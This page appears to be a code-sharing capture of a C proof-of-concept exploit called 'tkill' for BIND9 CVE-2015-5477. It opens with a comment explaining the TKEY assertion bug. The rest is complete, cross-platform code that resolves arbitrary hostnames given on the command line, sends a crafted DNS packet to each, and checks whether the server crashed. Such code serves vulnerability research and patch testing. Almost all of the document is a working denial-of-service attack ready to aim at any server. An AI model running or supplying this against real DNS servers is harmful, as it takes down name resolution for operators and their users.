扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 |
/* PoC for BIND9 TKEY assert Dos (CVE-2015-5477) Usage: tkill <hostname> What it does: - First sends a "version" query to see if the server is up. - Regardless of the version response, it then sends the DoS packet. - Then it waits 5 seconds for a response. If the server crashes, there will be no response. Notes: - multiple hostnames can be specified on the command-line - IP addresses can be specified instead of hostnames - supports IPv4 and IPv6 - runs on Linux, Mac, and Windows (cygwin or VisualStudio) - if a hostname resolves to more than one IP, then all IPs will be probed About the vuln: For control information, the "TSIG" feature allows packets to be signed with a password. This allows slave servers to get updates from master servers without a MitM attack (like from the NSA) changing the data on the network. A password can be distributed out of band, such as SSHing into a box and editing the configuration file. Anther way is through public-keys. That's the "TKEY" feature: it distributes new TSIG passwords using public-keys. When processing a TKEY packet, the code will call a function to fetch the proper TKEY record. It looks in two places: the "answer records" section, and the "additional records" section. If it can't find it in the "additional", it looks in "answer". The lookup function takes a parameter that is initially set to NULL. During the failed lookup in the "additional" section, it may set that parameter to a non-null value. Since a non-null value is passed in again during the second lookup in the "answer" section, the code crashes. The patch was to set the variable to NULL before the second lookup. The correct fix would simply not check to see if the parameter was NULL to be begin with. It's an out-only parameter, so it's value on input doesn't matter. This is a just a "brainfart" bug that can only result in a crash of the server. It cann't result in data-corruption or code execution. About this code: To learn about writing network code, this is probably something useful to study. It works on both Windows and Unix (Linux, Mac, etc.). You can see where the differences are between the two platforms, as well as the simularities. It works on both IPv4 and IPv6. However, if you search through the code, you'll find nothing that specifically references either version. It's magically dual-stack. That's because it uses new functions like "getaddrinfo()" instead of old functions like "gethostbyname()". */ #include <stdio.h> #include <string.h> #include <ctype.h> #ifdef WIN32 #include <winsock2.h> #include <ws2tcpip.h> #pragma comment(lib, "Ws2_32.lib") #define WSA(err) (WSA##err) #define WSAEAGAIN WSAETIMEDOUT #else #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <arpa/inet.h> #include <errno.h> #define WSAGetLastError() (errno) #define WSA(err) (err) #define closesocket(fd) close(fd) #endif /* * DoS packet that will crash server */ static const unsigned char dospacket[] = { 0x01, 0x02, /* xid */ 0x01, 0x00, /* query */ 0x00, 0x01, /* one question */ 0x00, 0x00, /* no answer */ 0x00, 0x00, /* no authorities */ 0x00, 0x01, /* one additional: must be 'additional' section to work*/ /* Query name */ 0x03, 'f', 'o', 'o', 0x03, 'b', 'a', 'r', 0x00, 0x00, 249, /* TKEY record type */ 0x00, 255, /* Additional record*/ 0x03, 'f', 'o', 'o', 0x03, 'b', 'a', 'r', 0x00, /* name: must be same as query */ 0x00, 16, /* record type: must NOT be 249/TKEY */ 0x00, 255, 0, 0, 0, 0, 0, 51, 50, 'h', 't', 't', 'p', 's', ':', '/', '/', 'g', 'i', 't', 'h', 'u', 'b', '.', 'c', 'o', 'm', '/', 'r', 'o', 'b', 'e', 'r', 't', 'd', 'a', 'v', 'i', 'd', 'g', 'r', 'a', 'h', 'a', 'm', '/', 'c', 'v', 'e', '-', '2', '0', '1', '5', '-', '5', '4', '7', '7' }; /* * Packet for querying the version of the server, to test if it's up */ static const unsigned char versionpacket[] = { 0x03, 0x04, /* xid */ 0x01, 0x00, /* query */ 0x00, 0x01, /* one question */ 0x00, 0x00, /* no answer */ 0x00, 0x00, /* no authorities */ 0x00, 0x00, /* no additional */ /* Query name */ 0x07, 'v', 'e', 'r', 's', 'i', 'o', 'n', 0x04, 'b', 'i', 'n', 'd', 0x00, 0x00, 16, /* TXT */ 0x00, 3,/* CHOAS */ }; /* * YOLO BIND version.bind query */ int query_version(int fd, const struct addrinfo *target) { int bytes_received; int i; struct sockaddr_storage from; socklen_t sizeof_from = sizeof(from); char hostname[256]; unsigned char buf[2048]; int result = 0; /* * Query version */ sendto(fd, (const char*)versionpacket, sizeof(versionpacket), 0, target->ai_addr, target->ai_addrlen); /* * get response */ again: bytes_received = recvfrom(fd, (char*)buf, sizeof(buf), 0, (struct sockaddr*)&from, &sizeof_from); if (bytes_received <= 0 && WSAGetLastError() == WSA(EAGAIN)) { fprintf(stderr, "[-] timed out getting version, trying again\n"); return 0; } else if (bytes_received <= 0) { fprintf(stderr, "[-] unknown error receiving response: %u\n", WSAGetLastError()); return 0; } getnameinfo((struct sockaddr*)&from, sizeof(from), hostname, sizeof(hostname), NULL, 0, NI_NUMERICHOST); /* * parse response */ if (bytes_received < 12) goto again; if (buf[0] != versionpacket[0] && buf[1] != versionpacket[1]) goto again; if ((buf[2]&0x80) != 0x80) goto again; /* * Handle respoonse code */ switch (buf[3]&0x0F) { case 0: /* parse packet below */ break; case 1: fprintf(stderr, "[-] %s: FORMERR\n", hostname); return 1; case 2: fprintf(stderr, "[-] %s: SRVFAIL\n", hostname); return 1; case 3: fprintf(stderr, "[-] %s: NAMERR\n", hostname); return 1; case 4: fprintf(stderr, "[-] %s: NOTIMPL\n", hostname); return 1; case 5: fprintf(stderr, "[-] %s: REFUSED\n", hostname); return 1; default: fprintf(stderr, "[-] %s: unknown error: %u\n", hostname, buf[3]); return 1; } i = 12; /* skip header */ /* * skip query name */ while (i < bytes_received) { if (buf[i] == 0) { i++; break; } else if ((buf[i] & 0xC0) == 0xC0) { i += 2; break; } else { i += buf[i] + 1; } } i += 4; /* * process all answers */ while (i + 12 <= bytes_received) { int t, c, len; /* skip answer name */ while (i < bytes_received) { if (buf[i] == 0) { i++; break; } else if ((buf[i] & 0xC0) == 0xC0) { i += 2; break; } else { i += buf[i] + 1; } } /* extract resource-recorder header */ if (i + 10 > bytes_received) break; t = buf[i+0]<<8 | buf[i+1]; c = buf[i+2]<<8 | buf[i+3]; len = buf[i+8]<<8 | buf[i+9]; i += 10; /* verify TXT CHAOS */ if (t != 16 || c != 3) { i += len; continue; } /* fix len */ if (len > bytes_received - i) len = bytes_received - i; /* print the hostname */ fprintf(stderr, "[+] %s: ", hostname); /* print the strings */ { int j = i; i += len; while (j < i) { int len2 = buf[j]; int k; j++; if (len2 > bytes_received - len2) len2 = bytes_received - len2; fprintf(stderr, "\""); for (k=j; k<j+len2; k++) { if (buf[k] == '\\') fprintf(stderr, "\\"); else if (!isprint(buf[k])) fprintf(stderr, "\\x%02x", buf[k]); else fprintf(stderr, "%c", buf[k]); } j = k; fprintf(stderr, "\" "); } fprintf(stderr, "\n"); } result = 1; } return result; } /* * Send the DoS packet */ void probe(const struct addrinfo *target) { int fd; int x; int i; char hostname[256]; char buf[2048]; struct sockaddr_storage from; socklen_t sizeof_from = sizeof(from); /* * Print status */ getnameinfo(target->ai_addr, target->ai_addrlen, hostname, sizeof(hostname), NULL, 0, NI_NUMERICHOST); fprintf(stderr, "[+] %s: Probing...\n", hostname); /* * Create a socket */ fd = socket(target->ai_family, SOCK_DGRAM, 0); if (fd <= 0) { fprintf(stderr, "[-] failed: socket(): %u\n", WSAGetLastError()); return; } /* * Set the timeout to 5-seconds */ { #ifdef WIN32 int milliseconds = 5000; x = setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, (char*)&milliseconds, sizeof(milliseconds)); #else struct timeval t; t.tv_sec = 5; t.tv_usec = 0; x = setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, (char*)&t, sizeof(t)); #endif if (x != 0) { fprintf(stderr, "[-] err setting recv timeout: %u\n", WSAGetLastError()); } } /* * First, query the server to grab its version, but also to see it's up */ fprintf(stderr, "[+] Querying version...\n"); for (i=0; i<3; i++) { if (query_version(fd, target)) break; if (i == 2) { fprintf(stderr, "[-] Can't query server, is it crashed already?\n"); fprintf(stderr, "[-] Sending exploit anyway.\n"); } } /***************** * SEND DoS PACKET *****************/ fprintf(stderr, "[+] Sending DoS packet...\n"); sendto(fd, (const char*)dospacket, sizeof(dospacket), 0, target->ai_addr, target->ai_addrlen); /* Grab response */ fprintf(stderr, "[+] Waiting 5-sec for response...\n"); for (;;) { x = recvfrom(fd, (char*)buf, sizeof(buf), 0, (struct sockaddr*)&from, &sizeof_from); if (x <= 0 && WSAGetLastError() == WSA(EAGAIN)) { fprintf(stderr, "[+] timed out, probably crashed\n"); break; } else if (x <= 0) { fprintf(stderr, "[-] unknown error receiving response: %u\n", WSAGetLastError()); break;; } if (x > 2 && (buf[0] != dospacket[0] || buf[1] != dospacket[1])) continue; getnameinfo((struct sockaddr*)&from, sizeof(from), hostname, sizeof(hostname), NULL, 0, NI_NUMERICHOST); fprintf(stderr, "[-] %s: got response, so probably not vulnerable\n", hostname); break; } closesocket(fd); } /* * The main function just parses the arguments and looks up IP addrsses * before calling the "probe" function to actually exploit the targets */ int main(int argc, char *argv[]) { int i; #ifdef WIN32 {WSADATA x; WSAStartup(0x101, &x);} #endif fprintf(stderr, "--- PoC for CVE-2015-5477 BIND9 TKEY assert DoS ---\n"); if (argc <= 1) { fprintf(stderr, "[-] no host specified\n"); fprintf(stderr, "usage:\n tkill <hostname>\n"); return -1; } /* * Query all targets specified on the command line */ for (i=1; i<argc; i++) { const char *hostname = argv[i]; struct addrinfo *info; struct addrinfo *target; char oldtarget[256] = ""; int x; /* * Lookup the name of the target */ fprintf(stderr, "[+] %s: Resolving to IP address\n", hostname); x = getaddrinfo(hostname, "53", 0, &info); if (x != 0) { fprintf(stderr, "[-] %s: failed: %s\n", hostname, gai_strerror(x)); continue; } if (info->ai_next) { fprintf(stderr, "[+] %s: Resolved to multiple IPs (NOTE)\n", hostname); } /* * Since a name can return multiple IP addresses, * send a probe to all the results */ for (target=info; target; target = target->ai_next) { char newtarget[256]; /* bah, stupid bug in Linux gets the same target multiple * times */ getnameinfo(target->ai_addr, target->ai_addrlen, newtarget, sizeof(newtarget), NULL, 0, NI_NUMERICHOST); if (strcmp(newtarget, oldtarget) == 0) continue; memcpy(oldtarget, newtarget, sizeof(oldtarget)); probe(target); printf("\n"); } /* * Cleanup */ freeaddrinfo(info); } return 0; } |
体验盒子
